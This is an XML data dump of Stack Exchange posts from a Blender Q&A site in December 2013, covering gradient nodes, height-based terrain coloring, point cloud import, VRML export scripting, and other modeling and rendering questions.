  <row Id="5487" PostTypeId="2" ParentId="5486" CreationDate="2013-12-12T17:56:36.410" Score="0" Body="&lt;p&gt;I don't think such a node exists. However, you can create a gradient fairly easily if you bring in an external image, convert it to BW, move it around and crop it, then blur it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QIZj9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qPdCJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-12T17:56:36.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5488" PostTypeId="2" ParentId="4941" CreationDate="2013-12-12T19:00:27.717" Score="1" Body="&lt;p&gt;The minimum bitrate is the problem. You need to set the Minimum and Maxium bitrate number to be the same. That fixed it for me. :)&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2013-12-12T19:00:27.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5489" PostTypeId="2" ParentId="5486" CreationDate="2013-12-12T19:10:19.580" Score="14" Body="&lt;p&gt;Add a Texture Node with a blend texture and color ramp. You can adjust the gradient using the Color Ramp in the Textures panel. (See image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w9MyZ.png&quot; alt=&quot;Node Setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2013-12-12T19:10:19.580" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5490" PostTypeId="2" ParentId="5469" CreationDate="2013-12-12T23:19:45.170" Score="3" Body="&lt;p&gt;Basically a scene similar to the one gandalf created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But 4000 particles of size 0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GnNMq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set  to Halo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I03H1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and Fluid properties: Stiffness 0 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leave the impression that the fluids mix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xg8jw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-12T23:19:45.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5491" PostTypeId="1" AcceptedAnswerId="5493" CreationDate="2013-12-13T00:34:01.570" Score="21" ViewCount="29258" Body="&lt;p&gt;How do I colour a 3D terrain based on the height? Say, bottom green, and gradually to brown in the middle and white at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use colour ramp node, I can see gradient colour across the 3d terrain along x-y plane, but I'd like to have the gradient upwards, in x-z, y-z plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, my setup is using cycles and nodes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Color ramp (c) -&amp;gt; (c) Diffuse BSDF (BSDF) -&amp;gt; (Surface) Material output&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="1725" LastEditDate="2013-12-13T05:32:18.857" LastActivityDate="2020-05-03T05:08:30.143" Title="How do I colour a 3D terrain based on its height?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="5492" PostTypeId="2" ParentId="5467" CreationDate="2013-12-13T01:09:11.597" Score="2" Body="&lt;p&gt;The mesh uses a modifier to deform based on the position of the armature. By default the deformation from the armature is not visible while in edit mode but can be turned on if you want to. The button highlighted in red will show a 'shadowy' version of where the mesh would be based on the armature. The blue highlighted button is only visible if the first one is enabled and when enable the mesh will be shown fully deformed while in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QLPMC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for Unity - check that you are exporting the action and that Unity is using the action and not just the default pose position.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-13T01:09:11.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5493" PostTypeId="2" ParentId="5491" CreationDate="2013-12-13T01:25:20.060" Score="26" Body="&lt;h1&gt;Mapping node:&lt;/h1&gt;&#xA;&lt;p&gt;You can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Mapping&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Mapping node&lt;/em&gt;&lt;/a&gt; to rotate the texture on the Y axis, making the gradient vertical.&lt;/p&gt;&#xA;&lt;p&gt;Change the &lt;em&gt;Location&lt;/em&gt; Z axis value so that one &amp;quot;end&amp;quot; of the gradient is at the tallest peak or valley of the mesh. Also ensure that the &lt;em&gt;Mapping mode&lt;/em&gt; is set to &lt;em&gt;Texture&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uePGw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uePGw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U6zkf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;UV unwrapping:&lt;/h1&gt;&#xA;&lt;p&gt;You could also UV unwrap your mesh.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and select all &lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the view to &lt;em&gt;Orthographic&lt;/em&gt; (&lt;kbd&gt;Numpad 5&lt;/kbd&gt;) and view your mesh from the front (&lt;kbd&gt;Numpad 1&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&amp;gt;Project from view&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xRahF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate (&lt;kbd&gt;R&lt;/kbd&gt;) the resulting UV map in the &lt;em&gt;UV/Image Editor&lt;/em&gt; so it is standing on end:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2L7qa.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2L7qa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-13T02:03:53.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5495" PostTypeId="1" AcceptedAnswerId="5496" CreationDate="2013-11-26T22:24:24.577" Score="3" ViewCount="13358" Body="&lt;p&gt;I have access to some laser scanned LAS files. I can convert the LAS files to X, Y, Z point clouds using &lt;a href=&quot;http://rapidlasso.com/lastools/&quot; rel=&quot;nofollow&quot;&gt;LASTools&lt;/a&gt;. Once a point cloud is in an X, Y, Z ascii format it can be imported into MeshLab. I am looking to export the point clouds to a format that can be visualized in Blender using MeshLab. I have tried .PLY, .OBJ, and .WRL. All of these formats can be imported into Blender but they do not show up once they have been imported. I have tried importing files that just contain vertices and files that have been re-meshed and contain faces - both with the same result. Is there any special way point clouds must be imported into Blender? Once the file has been imported into Blender are there any issues that would prevent it from being seen such as wildly different scaling. Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="beatsforthemind" LastActivityDate="2013-12-13T05:47:38.027" Title="How can I prepare a point cloud for visualization in Blender using MeshLab?" Tags="&lt;point-clouds&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5496" PostTypeId="2" ParentId="5495" CreationDate="2013-12-08T03:34:33.527" Score="3" Body="&lt;p&gt;Using your example I have found the reason for your troubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After importing your point cloud example pressing &lt;kbd&gt;.&lt;/kbd&gt; on the numpad brings the point cloud into view. Entering edit mode &lt;kbd&gt;Tab&lt;/kbd&gt; and deselecting all points &lt;kbd&gt;A&lt;/kbd&gt; then selecting one point shows that it has co-ordinates of 10000,10000,132.189 - that is the one point is ten thousand units from the origin point which is located at the centre of the scene. A little trig tells us that rotating a couple of degrees while at a 10000 unit radius from the centre pivot point gives a large amount of movement, taking the object way off the visible screen from a tiny rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore the solution would be to first import the file, make sure the imported object is selected - selecting in the outliner may be the easiest way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in object mode set the objects Geometry to Origin -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3NbJP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should place things close to where you want them and make things easy to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have moved around before resetting the origin you can press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to set the cursor back to the centre if you have moved it, then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to snap the object back to the 3D Cursor at the centre of the scene, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; again will bring everything back into view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SK1TK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2013-12-08T04:00:14.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5497" PostTypeId="1" AcceptedAnswerId="5498" CreationDate="2013-11-27T15:11:27.787" Score="1" ViewCount="705" Body="&lt;p&gt;I need to write e blender plugin that exports objects in VRML2 from .ply. The problem is that my objects can be either meshes, either point clouds. Exporting meshes works with the already existing plugin, but it does not correctly export point clouds: creates IndexedFaceSet in stead of PointSet node, adds some extra fields which don't apply to PointSet, etc.&#xA;So I have 2 questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I check automatically if I have a mesh or a point cloud? This is part of a bigger web service and I need to check via the code, not by ticking a box.&lt;/li&gt;&#xA;&lt;li&gt;How do I get the color of each point? The data is not in the same place as the color information for meshes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;Actually after a short investigation of the .ply importer, it seems that it does not properly import. It does not read the point colors in the case of point clouds&lt;/p&gt;&#xA;" OwnerDisplayName="adi" LastActivityDate="2013-12-13T05:55:01.343" Title="Blender export point cloud to vrml" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5498" PostTypeId="2" ParentId="5497" CreationDate="2013-11-28T11:10:13.890" Score="2" Body="&lt;p&gt;The vrml export addon is an official addon that is developed as part of blender. You could either discuss with the blender devs on irc about improving it or submit a patch yourself to be considered for addition. Or use it as a starting point for your own script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 1. A mesh object that has a number of vertices and zero faces could be considered a point cloud.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;bm = bmesh.new()&#xA;bm.from_mesh(bpy.context.active_object.data)&#xA;numberOfVerts = len(bm.verts)&#xA;numberOfFaces = len(bm.faces)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Incorporate that into the export script as it loops through objects and export as PointSet instead of IndexedFaceSet when you have verts without faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2. blender has vertex colours, without faces that would be the only place for colour info. You will find that data in &lt;code&gt;bpy.context.active_object.data.vertex_colors&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2013-11-28T11:10:13.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5500" PostTypeId="1" CreationDate="2013-12-13T09:49:13.600" Score="4" ViewCount="399" Body="&lt;p&gt;Here, I have to execute some part of coding through selecting options in Enum property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MAYA_OT_Regg(bpy.types.Operator):&#xA; bl_idname = &quot;maya.regging&quot;&#xA; bl_label = &quot;Regging&quot;&#xA; bl_description = &quot;Regging&quot;&#xA;&#xA; def execute(self, ctx):&#xA;    return {'FINISHED'}&#xA;&#xA; def invoke(self, ctx, evt):&#xA;    return self.execute(ctx)&#xA;&#xA;class MAYA_OT_Dynamic(bpy.types.Operator):&#xA; bl_idname = &quot;maya.dynamic&quot;&#xA; bl_label = &quot;Dynamic&quot;&#xA; bl_description = &quot;Dynamic&quot;&#xA;&#xA; def execute(self, ctx):&#xA;    return {'FINISHED'}&#xA;&#xA; def invoke(self, ctx, evt):&#xA;    return self.execute(ctx)&#xA;&#xA;class MENU_OT_SET(bpy.types.Menu):&#xA; bl_label = &quot;Menu Set&quot;&#xA; bl_description = &quot;Menu set&quot;&#xA; def draw(self, ctx):&#xA;    ui = self.layout&#xA;    ui.operator(&quot;maya.regging&quot;)&#xA;    ui.operator(&quot;maya.dynamic&quot;)&#xA;&#xA;class MAYA_OM_Panel_OP(bpy.types.Panel):&#xA; bl_label       = &quot;maya Tools&quot;&#xA; bl_space_type  = &quot;VIEW_3D&quot;&#xA; bl_region_type = &quot;TOOL_PROPS&quot;&#xA;&#xA; def draw(self, ctx):&#xA;    ui = self.layout&#xA;    r = ui.row()&#xA;    r.menu(&quot;MENU_OT_SET&quot;, text=&quot;Menu set&quot;)&#xA;    # HERE I HAVE to COMPARE with that menu Regging and Dynamics&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to compare that Menus(Regging and Dynamics) If it's Dynamic,I have to execute some part of coding, else If it's Regging,I have to execute some part of coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched out but none is matched with my code, so How It's possible?&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="1501" LastEditDate="2013-12-13T09:55:52.433" LastActivityDate="2013-12-13T10:31:16.123" Title="How to make compare with Menus" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5501" PostTypeId="2" ParentId="5500" CreationDate="2013-12-13T10:31:16.123" Score="5" Body="&lt;p&gt;If you need user-selectable options through drop-down menu, one alternative is to use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.props.html#bpy.props.EnumProperty&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;EnumProperty&lt;/code&gt;&lt;/a&gt;. For example, I use this property type to give some options to user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;widget_shape = bpy.props.EnumProperty(&#xA;    name = 'Shape',&#xA;    items = [('sphere', 'Sphere', '8x4 edges'),&#xA;             ('ring', 'Ring', '24 vertices'),&#xA;             ('square', 'Square', ''),&#xA;             ('triangle', 'Triangle', ''),&#xA;             ('bidirection', 'Bidirection', ''),&#xA;             # etc.&#xA;             ])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... that will be drawn by Blender as a drop-down menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FCWHb.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon operator invocation, I could select the function to execute based on user selection in &lt;code&gt;self.widget_shape&lt;/code&gt; (not exactly &lt;a href=&quot;https://github.com/adhihargo/rigging_tools/blob/1fcf98cbdc663beca7ef15995fb37b26e78bbb37/rigging_tools.py#L579&quot; rel=&quot;nofollow noreferrer&quot;&gt;how I did it&lt;/a&gt;, but basically the same):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if self.widget_shape == 'sphere':&#xA;    self.create_sphere_widget()&#xA;elif self.widget_shape == 'ring':&#xA;    self.create_ring_widget()&#xA;# etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-13T10:31:16.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5503" PostTypeId="1" AcceptedAnswerId="5504" CreationDate="2013-12-13T11:55:52.773" Score="7" ViewCount="5383" Body="&lt;p&gt;When I render an image, the &quot;Image&quot; menu has an option to &quot;Edit Externally&quot; but I can't get it to work. Would love to render, then edit in Photoshop. Can anyone help? I've tried setting the  &quot;image editor&quot; in user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1841" LastActivityDate="2013-12-13T12:16:43.937" Title="Edit Image Externally" Tags="&lt;rendering&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5504" PostTypeId="2" ParentId="5503" CreationDate="2013-12-13T12:04:43.310" Score="8" Body="&lt;p&gt;You have to set the associated image editing program in &lt;em&gt;User preferences &gt; File&lt;/em&gt; first. Next, make &lt;em&gt;sure&lt;/em&gt; that the image is saved to disk (you can use &lt;kbd&gt;F3&lt;/kbd&gt;) and it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oPTwy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When saving, use &lt;em&gt;Save As Image&lt;/em&gt; and untick &lt;em&gt;Save as Render&lt;/em&gt; and &lt;em&gt;Copy&lt;/em&gt; but keep &lt;em&gt;Relative Path&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vaa1R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-13T12:16:43.937" LastActivityDate="2013-12-13T12:16:43.937" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5506" PostTypeId="2" ParentId="5370" CreationDate="2013-12-13T15:01:40.150" Score="3" Body="&lt;p&gt;Go into Blender's User Preferences and on the File menu, tick 'Auto Run Python Scripts' on and regenerate the rig. This will fix half of it missing. However, when you move into Unity, you'll notice that Rigify creates a lot of controllers and widgets, that while very helpful in Blender, are rubbish for Unity. I suggest taking a look at the Rigify to Unity package in the Asset Store as well.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2013-12-13T15:01:40.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5507" PostTypeId="1" CreationDate="2013-12-13T15:21:01.913" Score="1" ViewCount="275" Body="&lt;p&gt;Is it possible to use Photoshop filters from inside the Blender compositor? Just thought it was an interesting challenge that somebody out there may have solved? Of course I can run batch filter on rendered frames - but think it would be nice to see live effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1841" LastActivityDate="2013-12-13T17:40:07.577" Title="Photoshop Filter in Compositor" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5508" PostTypeId="1" CreationDate="2013-12-13T16:30:44.440" Score="12" ViewCount="7084" Body="&lt;p&gt;Let's say you have a single obj with a number of separate closed 3D geometries in it. For example's sake, imagine you have an obj called &lt;code&gt;neighborhoodfirehydrants.obj&lt;/code&gt; that includes the model for all of the fire hydrants on a street, which themselves are closed, but as I said above, are all within the same obj file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's say you wanted to be able to process each of those fire hydrants one at a time, separately. To the user, it's very obvious to see visually that these faces can be subgrouped into separate &quot;objects&quot; but in the Blender world, it sees them all as one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way (script would be ideal) to iterate through a blender obj &lt;code&gt;neighborhoodfirehydrants.obj&lt;/code&gt; and find each of the &quot;objects&quot; (fire hydrants) that make it up. I've been looking into using the looping tools, but that's not making sense in this context.&lt;/p&gt;&#xA;" OwnerUserId="1843" LastEditorUserId="2217" LastEditDate="2015-12-14T00:16:13.817" LastActivityDate="2015-12-14T00:16:13.817" Title="How can I separate a single object file into multiple objects based on closed geometry?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5509" PostTypeId="2" ParentId="5508" CreationDate="2013-12-13T17:05:07.543" Score="13" Body="&lt;p&gt;You could use &lt;em&gt;Separate&lt;/em&gt; &lt;kbd&gt;P&lt;/kbd&gt; (&lt;em&gt;in Edit Mode)&lt;/em&gt; and select &lt;em&gt;By loose parts&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7tfVW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W4nOg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reverse operation would be &lt;em&gt;Join&lt;/em&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;J&lt;/kbd&gt; (in &lt;em&gt;Object Mode&lt;/em&gt;) this would require all objects selected that you need to join to a single object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a script you could select the object by name and invoke the operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;object = bpy.data.objects['ObjectsName']&#xA;object.select = True&#xA;bpy.ops.mesh.separate(type='LOOSE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this you could set an individual origin to each separated object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be accessed from the toolbar or from the menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Object -&gt; Transform -&gt; Origin to Geometry&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set the origin in a script you can select all objects and run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.origin_set(type='GEOMETRY_ORIGIN', center='MEDIAN')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2013-12-14T04:26:36.550" LastActivityDate="2013-12-14T04:26:36.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5510" PostTypeId="2" ParentId="5507" CreationDate="2013-12-13T17:40:07.577" Score="3" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, As far as I know, nobody has done this before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if this was done it wouldn't be cross platform (since Photoshop plugins are compiled AFAIK).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-13T17:40:07.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5511" PostTypeId="1" CreationDate="2013-12-13T18:52:13.200" Score="6" ViewCount="1143" Body="&lt;p&gt;I have an object with different cameras that these have different resolutions, but every time I make a render, the camera has changed the resolution of the previous camera, is it possible that this does not change the resolution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2014-11-26T06:29:58.680" Title="Each camera may always keep the same resolution?" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5512" PostTypeId="2" ParentId="5511" CreationDate="2013-12-13T20:14:26.423" Score="4" Body="&lt;p&gt;As far as I know, the answer is &lt;strong&gt;no&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resolution is a global property used by all camera objects in the scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to work around this is to create a new scene:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new scene with &lt;em&gt;Link Objects&lt;/em&gt; in &lt;em&gt;Info &gt; Header&lt;/em&gt; by pressing the &lt;strong&gt;+&lt;/strong&gt; button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yX0LQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make copy the current scene into new one and make object mesh data and transforms linked from one scene to another, so if you move or edit an object in one scene, the corresponding object in another scene will move to match it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the other camera as active in the new scene (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the resolution in the new scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To render, select the scene which has the active camera and resolution you want and press &lt;kbd&gt;F12&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that it is probably simpler and easier to set the resolution manually when you render.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-11-26T06:29:58.680" LastActivityDate="2014-11-26T06:29:58.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5513" PostTypeId="1" CreationDate="2013-12-13T21:26:04.073" Score="1" ViewCount="964" Body="&lt;p&gt;I am fairly new to blender, and I am wondering how to make a storm trooper helmet. There are no tutorials out there, and I was just wondering if anyone knew how. Thanks&lt;/p&gt;&#xA;" OwnerUserId="1664" LastActivityDate="2013-12-13T21:26:04.073" Title="I am wondering how to make a storm trooper helmet in blender" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2013-12-14T11:23:02.467" ContentLicense="CC BY-SA 3.0" />
  <row Id="5514" PostTypeId="1" CreationDate="2013-12-01T15:09:23.307" Score="6" ViewCount="1423" Body="&lt;p&gt;Im making a car animation in blender, and animating it around turns by hand is a real pain. I am wondering if there is a way to make it automatically point in the direction that it is moving?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: If I made it turn a corner, then it's front would rotate to continue pointing forward relative to the motion of the car.&lt;/p&gt;&#xA;" OwnerDisplayName="Beacon266" LastEditorUserId="599" LastEditDate="2013-12-13T23:50:33.923" LastActivityDate="2013-12-13T23:50:49.973" Title="How to make an object point in the direction that it's going?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5515" PostTypeId="2" ParentId="5478" CreationDate="2013-12-13T22:25:50.427" Score="3" Body="&lt;p&gt;Make sure you are in &lt;strong&gt;Object Mode&lt;/strong&gt; before you import!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also add a mode switch command to the import script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-12-13T22:25:50.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
